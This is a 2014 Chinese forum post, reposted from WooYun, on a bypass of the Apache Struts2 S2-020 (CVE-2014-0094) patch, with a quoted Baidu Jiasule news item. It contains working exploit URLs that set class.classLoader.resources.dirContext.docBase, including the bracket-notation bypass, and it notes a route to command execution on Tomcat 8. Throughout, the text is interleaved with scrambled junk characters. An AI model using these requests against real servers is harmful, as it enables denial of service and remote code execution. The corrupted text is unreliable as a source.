之前S2-020漏洞利用方式见drops：Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS及远程代码执行利用! 9 z1 f- q3 a, C, q& s
- c5 Q0 H" J, x5 O0 R- t, N+ ?; T暂时不清楚到底是谁发出来的补丁绕过。之前 @Nebula 发的Tomcat：- http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=//192.168.x.x/test( A* _+ }& g. k9 Q
+ b7 s! u7 ?9 ]( t, S/ P[color=rgb(51, 102, 153) !important]复制代码3 ~/ l9 m' J! ?) h' c% J
+ K( R+ _% Z, i j- x7 B
绕过方式是：- http://localhost:8080/Struts2/test.action?class["classLoader"]["resources"]["dirContext"]["docBase"]=xxxxx; i; @' W5 L8 N; d+ g
* k8 P+ k' M4 }2 b/ V9 Z7 e$ ^[color=rgb(51, 102, 153) !important]复制代码
4 g3 a4 m! N+ s5 b, D4 g" t3 I K, U1 R' }1 S
顺便说下// netbios协议似乎在仅是windows，linux下貌似不能直接使用这样的协议。之前有发过：[百度安全中心博客-neobyte]Struts2 S2-020在Tomcat 8下的命令执行分析利用切换日志到web目录，有点可行性。 ' d" H/ z: @4 ^
加速乐发了新闻： 8 v; {' j7 O( i$ l( \0 s# l. U
http://jiasule.baidu.com/news/5357a1eebf9efd27e6ecbade/ P; p: d) h( t9 T2 t
4月23日消息，近日安全研究人员指出Apache Struts2在漏洞公告S2-020里，在处理修复CVE-2014-0094的漏洞修补方案存在漏洞，导致补丁被完全绕过。目前官方在GitHub上对该问题做出了修正。该问题被曝光后，百度加速乐已率先升级了防御规则，目前百度加速乐可独家防御该漏洞。
: X) d7 f/ X7 D% }/ T' ~- v5 ]* V0 o! F! d% Z+ P! w7 m9 a
据了解Struts2已不是第一次出现重大安全事故，去年9月Struts2曝出漏洞，国家多家重要政府网站受到影响，其中不乏部委级网站。此次再次曝出漏洞显现出互联网安全问题的严重性。) q* d: X( Z8 q% R7 y+ R: `6 c4 Z
) O. r/ M) u" S: z' ] q/ T& a T$ p, P( L
# [1 O7 ^. x3 s
转载自乌云* \1 w( O9 M: R* B, _# {5 S
原文链接:http://zone.wooyun.org/content/11876
6 Q B& p3 p% p, X9 i5 K) \) p" M+ L |
发表于 2014-4-27 19:10:10
收藏
支持
反对